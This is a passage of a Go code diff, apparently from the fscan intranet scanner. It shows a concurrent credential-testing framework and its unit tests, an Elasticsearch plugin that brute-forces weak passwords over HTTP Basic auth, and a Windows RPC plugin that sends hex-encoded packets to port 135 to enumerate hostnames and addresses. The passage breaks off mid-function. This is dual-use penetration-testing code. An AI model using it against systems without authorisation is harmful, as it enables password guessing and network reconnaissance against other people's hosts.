||||
Service: serviceName,
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
}
|
||||
}
|
||||
|
||||
// 根据错误类型决定是否重试
|
||||
switch result.ErrorType {
|
||||
case ErrorTypeAuth:
|
||||
// 认证错误,不重试
|
||||
return nil
|
||||
case ErrorTypeNetwork:
|
||||
// 网络错误,可以重试
|
||||
if attempt < testConfig.MaxRetries-1 {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
case <-time.After(testConfig.RetryDelay):
|
||||
// 继续重试
|
||||
}
|
||||
}
|
||||
default:
|
||||
// 未知错误,不重试
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 通用错误分类
|
||||
// =============================================================================
|
||||
|
||||
// CommonNetworkErrors 常见的网络错误关键词
|
||||
var CommonNetworkErrors = []string{
|
||||
"connection reset by peer",
|
||||
"connection refused",
|
||||
"timeout",
|
||||
"network unreachable",
|
||||
"broken pipe",
|
||||
"no route to host",
|
||||
"connection timed out",
|
||||
"i/o timeout",
|
||||
"connection aborted",
|
||||
"host is down",
|
||||
}
|
||||
|
||||
// CommonAuthErrors 常见的认证错误关键词
|
||||
var CommonAuthErrors = []string{
|
||||
"unable to authenticate",
|
||||
"authentication failed",
|
||||
"permission denied",
|
||||
"access denied",
|
||||
"invalid credentials",
|
||||
"bad password",
|
||||
"login incorrect",
|
||||
}
|
||||
|
||||
// ClassifyError 通用错误分类函数
|
||||
func ClassifyError(err error, authKeywords, networkKeywords []string) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
errStr := err.Error()
|
||||
|
||||
// 先检查认证错误
|
||||
for _, keyword := range authKeywords {
|
||||
if containsIgnoreCase(errStr, keyword) {
|
||||
return ErrorTypeAuth
|
||||
}
|
||||
}
|
||||
|
||||
// 再检查网络错误
|
||||
for _, keyword := range networkKeywords {
|
||||
if containsIgnoreCase(errStr, keyword) {
|
||||
return ErrorTypeNetwork
|
||||
}
|
||||
}
|
||||
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
// containsIgnoreCase 忽略大小写的字符串包含检查
|
||||
func containsIgnoreCase(s, substr string) bool {
|
||||
return len(s) >= len(substr) &&
|
||||
(s == substr ||
|
||||
len(substr) == 0 ||
|
||||
findIgnoreCase(s, substr) >= 0)
|
||||
}
|
||||
|
||||
// findIgnoreCase 忽略大小写查找子串
|
||||
func findIgnoreCase(s, substr string) int {
|
||||
if len(substr) == 0 {
|
||||
return 0
|
||||
}
|
||||
if len(substr) > len(s) {
|
||||
return -1
|
||||
}
|
||||
for i := 0; i <= len(s)-len(substr); i++ {
|
||||
if matchIgnoreCase(s[i:i+len(substr)], substr) {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// matchIgnoreCase 忽略大小写比较
|
||||
func matchIgnoreCase(a, b string) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
for i := 0; i < len(a); i++ {
|
||||
ca, cb := a[i], b[i]
|
||||
if ca >= 'A' && ca <= 'Z' {
|
||||
ca += 'a' - 'A'
|
||||
}
|
||||
if cb >= 'A' && cb <= 'Z' {
|
||||
cb += 'a' - 'A'
|
||||
}
|
||||
if ca != cb {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
@@ -0,0 +1,454 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
/*
|
||||
credential_tester_test.go - 凭据测试框架高价值测试
|
||||
|
||||
测试重点:
|
||||
1. 错误分类准确性 - 认证错误 vs 网络错误,影响重试策略
|
||||
2. 字符串函数边界情况 - 空串、大小写、部分匹配
|
||||
3. 并发安全性 - 早期退出、资源清理
|
||||
4. context 取消处理 - 不泄漏 goroutine
|
||||
|
||||
不测试:
|
||||
- 具体的服务连接(那是各插件的职责)
|
||||
- 配置解析
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 错误分类测试
|
||||
// =============================================================================
|
||||
|
||||
// TestClassifyError_AuthErrors 测试认证错误识别
|
||||
func TestClassifyError_AuthErrors(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
err error
|
||||
expected ErrorType
|
||||
}{
|
||||
{"认证失败", errors.New("authentication failed"), ErrorTypeAuth},
|
||||
{"权限拒绝", errors.New("permission denied"), ErrorTypeAuth},
|
||||
{"访问拒绝", errors.New("Access Denied"), ErrorTypeAuth},
|
||||
{"密码错误", errors.New("Bad Password"), ErrorTypeAuth},
|
||||
{"登录错误", errors.New("LOGIN INCORRECT"), ErrorTypeAuth},
|
||||
{"凭据无效", errors.New("Invalid Credentials"), ErrorTypeAuth},
|
||||
{"无法认证", errors.New("unable to authenticate"), ErrorTypeAuth},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
result := ClassifyError(tc.err, CommonAuthErrors, CommonNetworkErrors)
|
||||
if result != tc.expected {
|
||||
t.Errorf("期望 ErrorTypeAuth, 实际 %v", result)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestClassifyError_NetworkErrors 测试网络错误识别
|
||||
func TestClassifyError_NetworkErrors(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
err error
|
||||
expected ErrorType
|
||||
}{
|
||||
{"连接重置", errors.New("connection reset by peer"), ErrorTypeNetwork},
|
||||
{"连接拒绝", errors.New("connection refused"), ErrorTypeNetwork},
|
||||
{"超时", errors.New("timeout"), ErrorTypeNetwork},
|
||||
{"网络不可达", errors.New("network unreachable"), ErrorTypeNetwork},
|
||||
{"管道破裂", errors.New("broken pipe"), ErrorTypeNetwork},
|
||||
{"无路由", errors.New("no route to host"), ErrorTypeNetwork},
|
||||
{"IO超时", errors.New("i/o timeout"), ErrorTypeNetwork},
|
||||
{"主机宕机", errors.New("host is down"), ErrorTypeNetwork},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
result := ClassifyError(tc.err, CommonAuthErrors, CommonNetworkErrors)
|
||||
if result != tc.expected {
|
||||
t.Errorf("期望 ErrorTypeNetwork, 实际 %v", result)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestClassifyError_Priority 测试错误分类优先级
|
||||
//
|
||||
// 如果错误同时包含认证和网络关键词,认证应该优先
|
||||
func TestClassifyError_Priority(t *testing.T) {
|
||||
// 错误信息同时包含 "authentication failed" 和 "timeout"
|
||||
mixedErr := errors.New("authentication failed due to timeout")
|
||||
result := ClassifyError(mixedErr, CommonAuthErrors, CommonNetworkErrors)
|
||||
|
||||
// 认证错误应该优先
|
||||
if result != ErrorTypeAuth {
|
||||
t.Errorf("期望 ErrorTypeAuth(认证优先),实际 %v", result)
|
||||
}
|
||||
}
|
||||
|
||||
// TestClassifyError_EdgeCases 边界情况
|
||||
func TestClassifyError_EdgeCases(t *testing.T) {
|
||||
t.Run("nil error", func(t *testing.T) {
|
||||
result := ClassifyError(nil, CommonAuthErrors, CommonNetworkErrors)
|
||||
if result != ErrorTypeUnknown {
|
||||
t.Errorf("nil error 应该返回 Unknown, 实际 %v", result)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("未知错误", func(t *testing.T) {
|
||||
result := ClassifyError(errors.New("something weird happened"), CommonAuthErrors, CommonNetworkErrors)
|
||||
if result != ErrorTypeUnknown {
|
||||
t.Errorf("未知错误应该返回 Unknown, 实际 %v", result)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("空关键词列表", func(t *testing.T) {
|
||||
result := ClassifyError(errors.New("authentication failed"), nil, nil)
|
||||
if result != ErrorTypeUnknown {
|
||||
t.Errorf("空关键词列表应该返回 Unknown, 实际 %v", result)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 字符串函数测试
|
||||
// =============================================================================
|
||||
|
||||
// TestContainsIgnoreCase 忽略大小写包含检查
|
||||
func TestContainsIgnoreCase(t *testing.T) {
|
||||
testCases := []struct {
|
||||
s string
|
||||
substr string
|
||||
expected bool
|
||||
}{
|
||||
// 正常情况
|
||||
{"hello world", "world", true},
|
||||
{"HELLO WORLD", "world", true},
|
||||
{"hello world", "WORLD", true},
|
||||
{"Hello World", "LLO", true},
|
||||
|
||||
// 不包含
|
||||
{"hello world", "xyz", false},
|
||||
{"hello", "hello world", false},
|
||||
|
||||
// 边界情况
|
||||
{"", "", true},
|
||||
{"hello", "", true},
|
||||
{"", "a", false},
|
||||
{"a", "a", true},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.s+"_"+tc.substr, func(t *testing.T) {
|
||||
result := containsIgnoreCase(tc.s, tc.substr)
|
||||
if result != tc.expected {
|
||||
t.Errorf("containsIgnoreCase(%q, %q) = %v, 期望 %v",
|
||||
tc.s, tc.substr, result, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestMatchIgnoreCase 忽略大小写精确匹配
|
||||
func TestMatchIgnoreCase(t *testing.T) {
|
||||
testCases := []struct {
|
||||
a, b string
|
||||
expected bool
|
||||
}{
|
||||
{"hello", "hello", true},
|
||||
{"HELLO", "hello", true},
|
||||
{"Hello", "hElLo", true},
|
||||
{"hello", "world", false},
|
||||
{"hello", "hell", false},
|
||||
{"", "", true},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.a+"_"+tc.b, func(t *testing.T) {
|
||||
result := matchIgnoreCase(tc.a, tc.b)
|
||||
if result != tc.expected {
|
||||
t.Errorf("matchIgnoreCase(%q, %q) = %v, 期望 %v",
|
||||
tc.a, tc.b, result, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 并发测试
|
||||
// =============================================================================
|
||||
|
||||
// mockConn 模拟连接
|
||||
type mockConn struct {
|
||||
closed atomic.Bool
|
||||
}
|
||||
|
||||
func (c *mockConn) Close() error {
|
||||
c.closed.Store(true)
|
||||
return nil
|
||||
}
|
||||
|
||||
// TestTestCredentialsConcurrently_EarlyExit 测试找到成功凭据后早期退出
|
||||
func TestTestCredentialsConcurrently_EarlyExit(t *testing.T) {
|
||||
// 准备100个凭据,第5个会成功
|
||||
credentials := make([]Credential, 100)
|
||||
for i := range credentials {
|
||||
credentials[i] = Credential{Username: "user", Password: "pass" + string(rune('0'+i%10))}
|
||||
}
|
||||
|
||||
var testedCount atomic.Int32
|
||||
successPassword := "pass5"
|
||||
|
||||
// 模拟认证函数
|
||||
authFn := func(ctx context.Context, cred Credential) *AuthResult {
|
||||
testedCount.Add(1)
|
||||
time.Sleep(10 * time.Millisecond) // 模拟网络延迟
|
||||
|
||||
if cred.Password == successPassword {
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &mockConn{},
|
||||
}
|
||||
}
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
}
|
||||
}
|
||||
|
||||
config := ConcurrentTestConfig{
|
||||
Concurrency: 5,
|
||||
MaxRetries: 1,
|
||||
RetryDelay: time.Millisecond,
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "test", config)
|
||||
|
||||
if !result.Success {
|
||||
t.Fatal("应该找到成功的凭据")
|
||||
}
|
||||
|
||||
// 验证早期退出:不应该测试所有100个凭据
|
||||
tested := testedCount.Load()
|
||||
if tested >= 100 {
|
||||
t.Errorf("早期退出失败:测试了 %d 个凭据(应该远少于100)", tested)
|
||||
}
|
||||
t.Logf("测试了 %d 个凭据后找到成功凭据", tested)
|
||||
}
|
||||
|
||||
// TestTestCredentialsConcurrently_EmptyCredentials 空凭据测试
|
||||
func TestTestCredentialsConcurrently_EmptyCredentials(t *testing.T) {
|
||||
authFn := func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return &AuthResult{Success: false}
|
||||
}
|
||||
|
||||
config := ConcurrentTestConfig{
|
||||
Concurrency: 5,
|
||||
MaxRetries: 1,
|
||||
}
|
||||
|
||||
result := TestCredentialsConcurrently(context.Background(), nil, authFn, "test", config)
|
||||
|
||||
if result.Success {
|
||||
t.Error("空凭据不应该返回成功")
|
||||
}
|
||||
if result.Error == nil {
|
||||
t.Error("空凭据应该返回错误")
|
||||
}
|
||||
}
|
||||
|
||||
// TestTestCredentialsConcurrently_ContextCancel 测试context取消
|
||||
func TestTestCredentialsConcurrently_ContextCancel(t *testing.T) {
|
||||
credentials := make([]Credential, 100)
|
||||
for i := range credentials {
|
||||
credentials[i] = Credential{Username: "user", Password: "pass"}
|
||||
}
|
||||
|
||||
authFn := func(ctx context.Context, cred Credential) *AuthResult {
|
||||
// 模拟慢速认证
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
config := ConcurrentTestConfig{
|
||||
Concurrency: 5,
|
||||
MaxRetries: 1,
|
||||
}
|
||||
|
||||
// 50ms后取消
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 50*time.Millisecond)
|
||||
defer cancel()
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "test", config)
|
||||
|
||||
if result.Success {
|
||||
t.Error("context取消后不应该返回成功")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 单凭据测试
|
||||
// =============================================================================
|
||||
|
||||
// TestTestSingleCredential_Success 测试成功情况
|
||||
func TestTestSingleCredential_Success(t *testing.T) {
|
||||
conn := &mockConn{}
|
||||
authFn := func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: conn,
|
||||
}
|
||||
}
|
||||
|
||||
cred := Credential{Username: "admin", Password: "admin"}
|
||||
result := TestSingleCredential(context.Background(), cred, authFn)
|
||||
|
||||
if !result.Success {
|
||||
t.Error("应该返回成功")
|
||||
}
|
||||
if result.Conn == nil {
|
||||
t.Error("成功时应该返回连接")
|
||||
}
|
||||
}
|
||||
|
||||
// TestTestSingleCredential_ContextCancel 测试context取消时的资源清理
|
||||
func TestTestSingleCredential_ContextCancel(t *testing.T) {
|
||||
conn := &mockConn{}
|
||||
authStarted := make(chan struct{})
|
||||
|
||||
authFn := func(ctx context.Context, cred Credential) *AuthResult {
|
||||
close(authStarted)
|
||||
// 模拟慢速认证
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: conn,
|
||||
}
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
|
||||
// 启动认证后立即取消
|
||||
go func() {
|
||||
<-authStarted
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
cancel()
|
||||
}()
|
||||
|
||||
cred := Credential{Username: "admin", Password: "admin"}
|
||||
result := TestSingleCredential(ctx, cred, authFn)
|
||||
|
||||
// 应该返回失败(context被取消)
|
||||
if result.Success {
|
||||
t.Error("context取消后不应该返回成功")
|
||||
}
|
||||
|
||||
// 等待清理协程运行
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
// 连接应该被清理协程关闭
|
||||
if !conn.closed.Load() {
|
||||
t.Error("连接应该被清理协程关闭")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 重试逻辑测试
|
||||
// =============================================================================
|
||||
|
||||
// TestRetryLogic_NetworkErrorRetries 网络错误应该重试
|
||||
func TestRetryLogic_NetworkErrorRetries(t *testing.T) {
|
||||
var attempts atomic.Int32
|
||||
|
||||
authFn := func(ctx context.Context, cred Credential) *AuthResult {
|
||||
count := attempts.Add(1)
|
||||
if count < 3 {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: errors.New("connection timeout"),
|
||||
}
|
||||
}
|
||||
// 第3次成功
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &mockConn{},
|
||||
}
|
||||
}
|
||||
|
||||
cred := Credential{Username: "admin", Password: "admin"}
|
||||
config := ConcurrentTestConfig{
|
||||
Concurrency: 1,
|
||||
MaxRetries: 3,
|
||||
RetryDelay: time.Millisecond,
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, []Credential{cred}, authFn, "test", config)
|
||||
|
||||
if !result.Success {
|
||||
t.Error("网络错误重试后应该成功")
|
||||
}
|
||||
if attempts.Load() != 3 {
|
||||
t.Errorf("应该尝试3次,实际 %d 次", attempts.Load())
|
||||
}
|
||||
}
|
||||
|
||||
// TestRetryLogic_AuthErrorNoRetry 认证错误不应该重试
|
||||
func TestRetryLogic_AuthErrorNoRetry(t *testing.T) {
|
||||
var attempts atomic.Int32
|
||||
|
||||
authFn := func(ctx context.Context, cred Credential) *AuthResult {
|
||||
attempts.Add(1)
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: errors.New("authentication failed"),
|
||||
}
|
||||
}
|
||||
|
||||
cred := Credential{Username: "admin", Password: "wrong"}
|
||||
config := ConcurrentTestConfig{
|
||||
Concurrency: 1,
|
||||
MaxRetries: 3,
|
||||
RetryDelay: time.Millisecond,
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
|
||||
_ = TestCredentialsConcurrently(ctx, []Credential{cred}, authFn, "test", config)
|
||||
|
||||
// 认证错误只应该尝试1次
|
||||
if attempts.Load() != 1 {
|
||||
t.Errorf("认证错误不应该重试,实际尝试了 %d 次", attempts.Load())
|
||||
}
|
||||
}
|
||||
|
||||
// 确保 mockConn 实现 io.Closer 接口
|
||||
var _ io.Closer = (*mockConn)(nil)
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
//go:build plugin_elasticsearch || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
type ElasticsearchPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewElasticsearchPlugin() *ElasticsearchPlugin {
|
||||
return &ElasticsearchPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("elasticsearch"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("elasticsearch", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "elasticsearch",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
for _, cred := range credentials {
|
||||
if p.testCredential(ctx, info, cred, config, state) {
|
||||
common.LogSuccess(i18n.Tr("elasticsearch_credential", target, cred.Username, cred.Password))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeCredential,
|
||||
Service: "elasticsearch",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "elasticsearch",
|
||||
Error: fmt.Errorf("未发现弱密码"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) bool {
|
||||
client := &http.Client{
|
||||
Timeout: config.Timeout,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
},
|
||||
}
|
||||
|
||||
// 构建URL
|
||||
protocol := "http"
|
||||
if info.Port == 9443 {
|
||||
protocol = "https"
|
||||
}
|
||||
url := fmt.Sprintf("%s://%s:%d/", protocol, info.Host, info.Port)
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if cred.Username != "" || cred.Password != "" {
|
||||
auth := base64.StdEncoding.EncodeToString([]byte(cred.Username + ":" + cred.Password))
|
||||
req.Header.Set("Authorization", "Basic "+auth)
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return false
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
bodyStr := string(body)
|
||||
return common.ContainsAny(bodyStr, "elasticsearch", "cluster_name")
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func (p *ElasticsearchPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if p.testCredential(ctx, info, Credential{Username: "", Password: ""}, config, state) {
|
||||
banner := "Elasticsearch"
|
||||
common.LogSuccess(i18n.Tr("elasticsearch_service", target, banner))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "elasticsearch",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "elasticsearch",
|
||||
Error: fmt.Errorf("无法识别为Elasticsearch服务"),
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
// 使用高效注册方式:直接传递端口信息,避免实例创建
|
||||
RegisterPluginWithPorts("elasticsearch", func() Plugin {
|
||||
return NewElasticsearchPlugin()
|
||||
}, []int{9200, 9300})
|
||||
}
|
||||
@@ -0,0 +1,357 @@
|
||||
//go:build plugin_findnet || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// 预编译正则表达式
|
||||
var validHostnameRegex = regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9-]*[a-zA-Z0-9]$`)
|
||||
|
||||
// FindNetPlugin Windows网络发现插件 - 通过RPC端点映射服务收集网络信息
|
||||
type FindNetPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewFindNetPlugin 创建FindNet插件
|
||||
func NewFindNetPlugin() *FindNetPlugin {
|
||||
return &FindNetPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("findnet"),
|
||||
}
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
|
||||
// Scan 执行FindNet扫描 - Windows网络信息收集
|
||||
func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
// 检查是否为RPC端口
|
||||
if info.Port != 135 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "findnet",
|
||||
Error: fmt.Errorf("FindNet插件仅支持RPC端口135"),
|
||||
}
|
||||
}
|
||||
|
||||
// WrapperTcpWithTimeout内部已包含发包限制检查
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "findnet",
|
||||
Error: fmt.Errorf("连接RPC端口失败: %w", err),
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
// 设置超时
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
// 执行RPC网络发现
|
||||
networkInfo, err := p.performNetworkDiscovery(conn)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "findnet",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
// 记录发现的网络信息 (简洁单行格式,方便复制)
|
||||
if networkInfo.Valid {
|
||||
common.LogSuccess(fmt.Sprintf("NetInfo %s %s", target, networkInfo.OneLine()))
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: networkInfo.Valid,
|
||||
Service: "findnet",
|
||||
Banner: networkInfo.Summary(),
|
||||
}
|
||||
}
|
||||
|
||||
// NetworkInfo 网络信息结构
|
||||
type NetworkInfo struct {
|
||||
Valid bool
|
||||
Hostname string
|
||||
IPv4Addrs []string
|
||||
IPv6Addrs []string
|
||||
}
|
||||
|
||||
// OneLine 返回单行格式(便于复制)
|
||||
func (ni *NetworkInfo) OneLine() string {
|
||||
if !ni.Valid {
|
||||
return ""
|
||||
}
|
||||
var parts []string
|
||||
if ni.Hostname != "" {
|
||||
parts = append(parts, fmt.Sprintf("[%s]", ni.Hostname))
|
||||
}
|
||||
if len(ni.IPv4Addrs) > 0 {
|
||||
parts = append(parts, strings.Join(ni.IPv4Addrs, ","))
|
||||
}
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
|
||||
// Summary 返回网络信息摘要
|
||||
func (ni *NetworkInfo) Summary() string {
|
||||
if !ni.Valid {
|
||||
return "网络发现失败"
|
||||
}
|
||||
|
||||
var parts []string
|
||||
if ni.Hostname != "" {
|
||||
parts = append(parts, fmt.Sprintf("主机名: %s", ni.Hostname))
|
||||
}
|
||||
if len(ni.IPv4Addrs) > 0 {
|
||||
parts = append(parts, fmt.Sprintf("IPv4: %d个", len(ni.IPv4Addrs)))
|
||||
}
|
||||
if len(ni.IPv6Addrs) > 0 {
|
||||
parts = append(parts, fmt.Sprintf("IPv6: %d个", len(ni.IPv6Addrs)))
|
||||
}
|
||||
|
||||
if len(parts) == 0 {
|
||||
return "网络信息收集完成"
|
||||
}
|
||||
return strings.Join(parts, ", ")
|
||||
}
|
||||
|
||||
// TreeFormat 返回tree格式的详细网络信息
|
||||
func (ni *NetworkInfo) TreeFormat() string {
|
||||
if !ni.Valid {
|
||||
return "网络发现失败"
|
||||
}
|
||||
|
||||
var result strings.Builder
|
||||
|
||||
// 主机名信息
|
||||
if ni.Hostname != "" {
|
||||
result.WriteString(fmt.Sprintf("主机名: %s\n", ni.Hostname))
|
||||
}
|
||||
|
||||
// IPv4地址树形显示
|
||||
if len(ni.IPv4Addrs) > 0 {
|
||||
result.WriteString(fmt.Sprintf("IPv4接口 (%d个):\n", len(ni.IPv4Addrs)))
|
||||
for i, addr := range ni.IPv4Addrs {
|
||||
if i == len(ni.IPv4Addrs)-1 {
|
||||
result.WriteString(fmt.Sprintf(" └── %s\n", addr))
|
||||
} else {
|
||||
result.WriteString(fmt.Sprintf(" ├── %s\n", addr))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// IPv6地址树形显示
|
||||
if len(ni.IPv6Addrs) > 0 {
|
||||
result.WriteString(fmt.Sprintf("IPv6接口 (%d个):\n", len(ni.IPv6Addrs)))
|
||||
for i, addr := range ni.IPv6Addrs {
|
||||
if i == len(ni.IPv6Addrs)-1 {
|
||||
result.WriteString(fmt.Sprintf(" └── %s\n", addr))
|
||||
} else {
|
||||
result.WriteString(fmt.Sprintf(" ├── %s\n", addr))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return strings.TrimRight(result.String(), "\n")
|
||||
}
|
||||
|
||||
// RPC数据包定义
|
||||
var (
|
||||
rpcBuffer1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||
rpcBuffer2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||
rpcBuffer3, _ = hex.DecodeString("0900ffff0000")
|
||||
)
|
||||
|
||||
// performNetworkDiscovery 执行RPC网络发现
|
||||
func (p *FindNetPlugin) performNetworkDiscovery(conn net.Conn) (*NetworkInfo, error) {
|
||||
// 发送第一个RPC请求
|
||||
if _, err := conn.Write(rpcBuffer1); err != nil {
|
||||
return nil, fmt.Errorf("发送RPC请求1失败: %w", err)
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply := make([]byte, 4096)
|
||||
if _, err := conn.Read(reply); err != nil {
|
||||
return nil, fmt.Errorf("读取RPC响应1失败: %w", err)
|
||||
}
|
||||
|
||||
// 发送第二个RPC请求
|
||||
